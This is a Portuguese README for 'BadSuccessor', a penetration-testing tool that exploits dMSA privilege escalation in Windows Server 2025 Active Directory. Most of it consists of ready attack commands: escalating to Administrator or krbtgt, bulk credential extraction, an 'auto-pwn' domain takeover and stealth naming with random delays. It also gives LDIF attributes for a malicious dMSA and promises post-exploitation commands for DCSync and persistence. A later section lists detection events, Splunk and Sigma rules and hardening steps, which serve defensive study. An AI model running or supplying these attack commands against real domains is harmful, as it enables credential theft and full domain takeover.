
Explora a vulnerabilidade de escalonamento de privilégios dMSA no Windows Server 2025 para enumerar OUs graváveis, escalonar para usuários de domínio arbitrários, extrair credenciais e possibilitar a tomada de controle do domínio em avaliações de segurança de AD autorizadas.
Uma ferramenta de teste de penetração que explora a vulnerabilidade de escalonamento de privilégios dMSA (delegated Managed Service Account) em ambientes Active Directory do Windows Server 2025.
Esta ferramenta destina-se exclusivamente a testes de penetração autorizados e fins de pesquisa em segurança. O uso desta ferramenta contra sistemas sem permissão explícita por escrito é ilegal e antiético. Os autores não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta.
IMPORTANTE: Esta ferramenta está em desenvolvimento e testes ativos.
Incentivamos a comunidade de segurança a:
Ao usar esta ferramenta, você reconhece que ela está em desenvolvimento ativo e pode exigir modificações para o seu ambiente específico.
O BadSuccessor explora uma vulnerabilidade de escalonamento de privilégios no recurso de Conta de Serviço Gerenciada delegada (dMSA) do Windows Server 2025. A vulnerabilidade permite que atacantes com permissões mínimas escalonem privilégios para qualquer usuário do domínio, incluindo Administradores de Domínio.
Esta ferramenta é baseada na excelente pesquisa de Yuval Gordon, da Akamai Technologies:
A vulnerabilidade existe no processo de migração do dMSA, onde:
msDS-ManagedAccountPrecededByLink ou ms-DS-Managed-Account-Preceded-By-Link para apontar para um usuário alvomsDS-DelegatedMSAState ou ms-DS-Delegated-MSA-State como 2 (migração concluída)Além disso, a estrutura KERB-DMSA-KEY-PACKAGE contém as chaves de senha do usuário alvo, permitindo a extração de credenciais.
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**Nota**: A ferramenta foi testada com impacket 0.12.0. Avisos de compatibilidade de versão são exibidos em tempo de execução.
### Dependências Opcionais```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChildWriteGenericWriteGenericAllgit clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### Exemplos de Início Rápido
#### 1. Modo Dry Run (NOVO) - Testar Sem Fazer Alterações```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. Realizar o Ataque```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. Gerenciamento de Sessão (NOVO)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
--export-json attack_results.json --export-html attack_report.html
### Opções de Linha de Comando
#### Argumentos de Autenticação
| Opção | Descrição |
|--------|-------------|
| `-d, --domain` | Domínio alvo (por exemplo, corp.local) **[OBRIGATÓRIO]** |
| `-u, --username` | Nome de usuário para autenticação **[OBRIGATÓRIO]** |
| `-p, --password` | Senha para autenticação |
| `--dc-ip` | IP do Controlador de Domínio (descoberta automática se omitido) |
| `--ldaps` | Força conexão LDAPS (SSL) na porta 636 |
#### Modos de Ataque
| Opção | Descrição |
|--------|-------------|
| `--attack` | Executa o ataque BadSuccessor |
| `--dry-run` | **NOVO**: Simula o ataque sem fazer alterações |
| `--extract-creds` | Extrai credenciais usando pacote de chaves |
| `--auto-pwn` | Tomada de domínio totalmente automatizada |
#### Especificação de Alvo
| Opção | Descrição |
|--------|-------------|
| `--target` | Usuário alvo para elevar privilégios |
| `--targets` | Lista separada por vírgulas de usuários para extração de credenciais |
| `--validate-target` | **NOVO**: Valida uma conta alvo sem atacar |
#### Configuração de dMSA
| Opção | Descrição |
|--------|-------------|
| `--dmsa-name` | Nome para o dMSA malicioso (gerado automaticamente se não especificado) |
| `--dmsa-pattern` | **NOVO**: Padrão para nomenclatura dMSA (por exemplo, "svc{random}{target}") |
| `--ou-dn` | DN de OU específico a usar (detecção automática se não especificado) |
| `--dmsa-description` | **NOVO**: Descrição para o dMSA criado |
| `--dmsa-display-name` | **NOVO**: Nome de exibição para o dMSA criado |
#### Opções de Enumeração
| Opção | Descrição |
|--------|-------------|
| `--enumerate` | Enumera OUs com quaisquer permissões de escrita |
| `--list-targets` | Lista alvos de alto valor |
| `--check-schema` | Verifica o esquema do Windows Server 2025 |
#### Gerenciamento de Sessão (NOVO)
| Opção | Descrição |
|--------|-------------|
| `--session-id` | Retoma sessão existente |
| `--list-sessions` | Lista todas as sessões disponíveis |
| `--cleanup-session SESSION_ID` | Limpa todos os dMSAs de uma sessão |
#### Opções de Limpeza
| Opção | Descrição |
|--------|-------------|
| `--cleanup` | Remove o dMSA criado |
| `--dmsa-dn` | DN do dMSA para operações de limpeza |
| `--cleanup-all` | **NOVO**: Limpa todos os dMSAs da sessão atual |
#### Opções de Saída
| Opção | Descrição |
|--------|-------------|
| `--export-json FILE` | **NOVO**: Exporta resultados para arquivo JSON |
| `--export-csv FILE` | **NOVO**: Exporta resultados para arquivo CSV |
| `--export-html FILE` | **NOVO**: Gera relatório HTML |
| `--no-banner` | Suprime a saída do banner |
| `--verbose` | Habilita saída verbosa |
#### Opções de Furtividade (NOVO)
| Opção | Descrição |
|--------|-------------|
| `--stealth` | Ativa o modo furtivo (nomenclatura inofensiva) |
| `--random-delay SECONDS` | Atraso aleatório entre operações (0-N segundos) |
## 🔧 Fluxo de Trabalho do Ataque
### Fase 1: Reconhecimento
1. **Verificação de Esquema**: Confirma o suporte a dMSA do Windows Server 2025 com detecção dinâmica de atributos
2. **Descoberta de Permissões**: Identifica OUs com qualquer acesso de escrita (não apenas CreateChild)
3. **Validação de Alvo**: **NOVO** - Análise abrangente da conta alvo antes do ataque
### Fase 2: Exploração
1. **Opção de Simulação**: **NOVO** - Testa a viabilidade do ataque sem fazer alterações
2. **Criação de dMSA**: Cria dMSA malicioso com atributos personalizáveis
3. **Manipulação de Atributos**: Define o link predecessor e o estado de migração com consciência do esquema
4. **Rastreamento de Sessão**: **NOVO** - Todos os objetos criados são rastreados para limpeza fácil
### Fase 3: Autenticação
1. **Solicitação de TGT Kerberos**: Obtém TGT com privilégios herdados
2. **Análise de PAC**: Verifica associações de grupo herdadas
3. **Extração de Pacote de Chaves**: Análise aprimorada com múltiplos métodos de fallback
### Fase 4: Pós-Exploração
A ferramenta fornece comandos prontos para uso para:
- Ataques DCSync (despejar todos os hashes do domínio)
- Execução remota de comandos
- Movimento lateral
- Estabelecimento de persistência
## 🔐 Recursos Prontos para Produção (v3.0.0)
### Detecção Dinâmica de Esquema (NOVO)
- Detecta automaticamente qual convenção de nomenclatura de atributos seu ambiente usa
- Suporta todas as variações conhecidas de atributos dMSA
- Mecanismos de fallback para diferentes builds do Windows Server 2025
### Validação Aprimorada de Alvo (NOVO)
- Validação pré-ataque de contas alvo
- Detecta contas desabilitadas, bloqueadas ou expiradas
- Avisa sobre requisitos de smartcard e restrições de delegação
- Fornece recomendações com base nas propriedades do alvo
### Gerenciamento de Sessão (NOVO)
- Rastreamento persistente de sessão entre operações
- Retoma ataques interrompidos
- Limpeza em massa de todos os dMSAs criados
- Arquivos de sessão armazenados com segurança com permissões 0700
### Modo de Simulação (NOVO)
- Testa a viabilidade do ataque sem fazer nenhuma alteração
- Valida esquema, permissões e alvo
- Relata exatamente o que aconteceria durante um ataque real
- Perfeito para reconhecimento e planejamento
### Recursos de Furtividade (NOVO)
- Padrões de nomenclatura dMSA inofensivos que se camuflam
- Atrasos aleatórios entre operações
- Atributos dMSA personalizáveis (descrição, nome de exibição)
- Nomenclatura baseada em padrões com variáveis
### Formatos de Saída Profissionais (NOVO)
- Exportação JSON para integração com outras ferramentas
- Exportação CSV para análise em planilhas
- Relatórios HTML com saída estilizada
- Dados estruturados para todas as operações
### Tratamento de Erros de Nível Empresarial
- Mensagens de erro abrangentes com soluções acionáveis
- Fallbacks graciosos para todas as operações
- Registro detalhado com timestamp e gravidade
- Modo verboso para solução de problemas
### Implementação Completa
- Todos os recursos totalmente implementados (sem código de placeholder)
- Estrutura de código testada em produção
- Design modular com classes especializadas
- Compatibilidade total com várias configurações de AD
## 🛡️ Detecção
### IDs de Evento para Monitorar
| ID do Evento | Origem | Descrição |
|----------|--------|-------------|
| **5137** | Segurança | Criação de objeto de serviço de diretório (dMSA) |
| **5136** | Segurança | Modificação de objeto de serviço de diretório |
| **2946** | Serviço de Diretório | Autenticação de conta de serviço gerenciada de grupo |
| **4768** | Segurança | TGT Kerberos solicitado |
| **4769** | Segurança | Tíquete de serviço Kerberos solicitado |
### Regras de Detecção```
# Splunk Query Example
index=windows EventCode=5137
| where ObjectClass="msDS-DelegatedManagedServiceAccount" OR ObjectClass="ms-DS-Delegated-Managed-Service-Account"
| where NOT user IN ("approved_admins")
# Sigma Rule Example
detection:
selection:
EventID: 5136
AttributeLDAPDisplayName:
- 'msDS-ManagedAccountPrecededByLink'
- 'ms-DS-Managed-Account-Preceded-By-Link'
condition: selection
Restringir Permissões de OU ```powershell
Remove-ADPermission -Identity "OU=ServiceAccounts,DC=corp,DC=local" -User "Domain Users" -AccessRights CreateChild,Write,GenericWrite,GenericAll
Get-ADPermission -Identity "OU=ServiceAccounts,DC=corp,DC=local" | Where-Object {$_.IdentityReference -match "Authenticated Users|Everyone"}
Monitore as operações do dMSA ```powershell
Set-ADObject -Identity "CN=Schema,CN=Configuration,DC=corp,DC=local" -Add @{ 'msDS-ReplAttributeMetaData' = @('msDS-ManagedAccountPrecededByLink', 'ms-DS-Managed-Account-Preceded-By-Link') }
Implementar Detecção
Com base na pesquisa da Akamai:
dn: CN=evil_dmsa,OU=ServiceAccounts,DC=corp,DC=local objectClass: top objectClass: msDS-GroupManagedServiceAccount objectClass: msDS-DelegatedManagedServiceAccount sAMAccountName: evil_dmsa$ userAccountControl: 4096
msDS-ManagedAccountPrecededByLink: CN=Administrator,CN=Users,DC=corp,DC=local
ms-DS-Managed-Account-Preceded-By-Link: CN=Administrator,CN=Users,DC=corp,DC=local msDS-DelegatedMSAState: 2 msDS-SupportedEncryptionTypes: 28
### Estrutura do Pacote de Chaves
O KERB-DMSA-KEY-PACKAGE contém:
- Chaves atuais: chaves de criptografia do dMSA
- Chaves anteriores: chaves de criptografia do usuário alvo (incluindo hash NTLM)
- Permite extração direta de credenciais sem quebra de senha
## 🤝 Contribuição
Contribuições são bem-vindas! Por favor:
1. Faça um fork do repositório
2. Crie um branch de recurso (`git checkout -b feature/enhancement`)
3. Faça commit das alterações (`git commit -m 'Add new feature'`)
4. Envie para o branch (`git push origin feature/enhancement`)
5. Submeta um Pull Request
### Diretrizes de Desenvolvimento
- Siga o guia de estilo PEP 8
- Adicione testes unitários para novos recursos
- Atualize a documentação
- Teste em vários ambientes AD
- Teste com diferentes convenções de nomenclatura de atributos de esquema
- Garanta que todos os recursos estejam prontos para produção (sem placeholders)
## 📝 Histórico de Alterações
### v2.3.0 (2025-05-28) - Lançamento Pronto para Produção
- **NOVO**: Modo de simulação (dry run) para simulação segura de ataques
- **NOVO**: Gerenciamento abrangente de sessões com persistência de estado
- **NOVO**: Validação da conta alvo com análise detalhada
- **NOVO**: Capacidades de exportação (JSON, CSV, HTML)
- **NOVO**: Modo furtivo com padrões de nomenclatura inofensivos
- **NOVO**: Atributos dMSA personalizáveis (descrição, nome de exibição)
- **NOVO**: Nomenclatura de dMSA baseada em padrões com variáveis
- **NOVO**: Suporte a atraso aleatório para operações furtivas
- **NOVO**: Detecção dinâmica de atributos de esquema
- **NOVO**: Parse aprimorado de pacotes de chaves com fallbacks
- **NOVO**: Operações de limpeza em massa
- **NOVO**: Tratamento e registro profissionais de erros
- **MELHORADO**: Arquitetura completamente modular
- **MELHORADO**: Verificação de versão para dependências
- **CORRIGIDO**: Todo código placeholder substituído por implementações completas
### v2.2.0 (2025-05-27) - Atualização de Compatibilidade
- **CORRIGIDO**: Problemas de importação do impacket resolvidos (removida dependência de seq_decode)
- **CORRIGIDO**: Compatível com impacket 0.12.0
- **RECURSO**: Adicionado suporte para ambas as convenções de nomenclatura de atributos dMSA
- **MELHORADO**: Melhor tratamento de erros para falhas de importação
- **MELHORADO**: Detecção de esquema mais robusta
### v2.1.0 (2025-05-25) - Implementação Completa
- **PRINCIPAL**: Verificação aprimorada de permissões ACL - agora detecta TODAS as permissões de escrita
- **PRINCIPAL**: Adicionado suporte para grupos padrão (Usuários Autenticados, Todos, etc.)
- **CORRIGIDO**: Removido todo código placeholder
- **CORRIGIDO**: Implementação completa de todos os recursos
- **MELHORADO**: Melhor tratamento de erros e saída informativa
- **MELHORADO**: Enumeração de UOs mais abrangente (inclui contêineres)
- **RECURSO**: Mostra permissões exatas para cada UO descoberta
- **RECURSO**: Detecta usuários protegidos e restrições de delegação
### v2.0.0 (2025-05-24) - Edição Aprimorada
- **Principal**: Implementação completa de autenticação Kerberos
- **Principal**: Extração de KERB-DMSA-KEY-PACKAGE para roubo de credenciais
- **Principal**: Verificação básica de permissões ACL
- **Principal**: Verificação de esquema do Windows Server 2025
- **Recurso**: Modo de extração em massa de credenciais
- **Recurso**: Auto-pwn para tomada automatizada de domínio
- **Recurso**: Enumeração aprimorada de alvos
- **Recurso**: Geração de comandos pós-exploração
- **Melhoria**: Melhor tratamento de erros e registro
- **Melhoria**: Estrutura de código pronta para produção
## 📚 Referências
- [Pesquisa Original da Akamai](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory)
- [GitHub Issue #1 - Verificação Aprimorada de Permissões](https://github.com/cybrly/badsuccessor/issues/1)
- [GitHub Issue #2 - Nomenclatura de Atributos de Esquema](https://github.com/cybrly/badsuccessor/issues/2)
- [Microsoft Security Response Center](https://msrc.microsoft.com/)
## 🐛 Problemas Conhecidos
- Alguns ambientes podem usar convenções diferentes de nomenclatura de atributos (tratado por detecção dinâmica)
- A autenticação por hash exige senha para a implementação inicial
- Alguns ambientes podem exigir configuração manual do Kerberos
- As regras de detecção precisam de personalização por ambiente
## 🔍 Solução de Problemas
### Erros de Importação
Se você encontrar erros de importação com o impacket:```bash
# Ensure you have the correct version
pip3 uninstall impacket
pip3 install impacket==0.12.0
# Check version
python3 -c "import impacket; print(impacket.__version__)"
A ferramenta agora inclui detecção dinâmica de schema. Se ainda falhar:```powershell
Get-ADObject -Filter {name -like "delegated" -or name -like "preceded"} -SearchBase "CN=Schema,CN=Configuration,DC=corp,DC=local" | Select Name
### Erros de Permissão Negada
Use o novo modo dry-run para testar:```bash
# Test without making changes
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Check your exact permissions
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --verbose
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
rm -rf /tmp/.badsuccessor_sessions/
## 📧 Contato
Para perguntas, problemas ou divulgação responsável:
- Abra uma Issue no GitHub
- Siga práticas de divulgação responsável
- Permita 90 dias para o desenvolvimento de correções
---
**⚡ Lembre-se: Com grandes poderes vêm grandes responsabilidades. Sempre obtenha a devida autorização antes de testar!** 🔐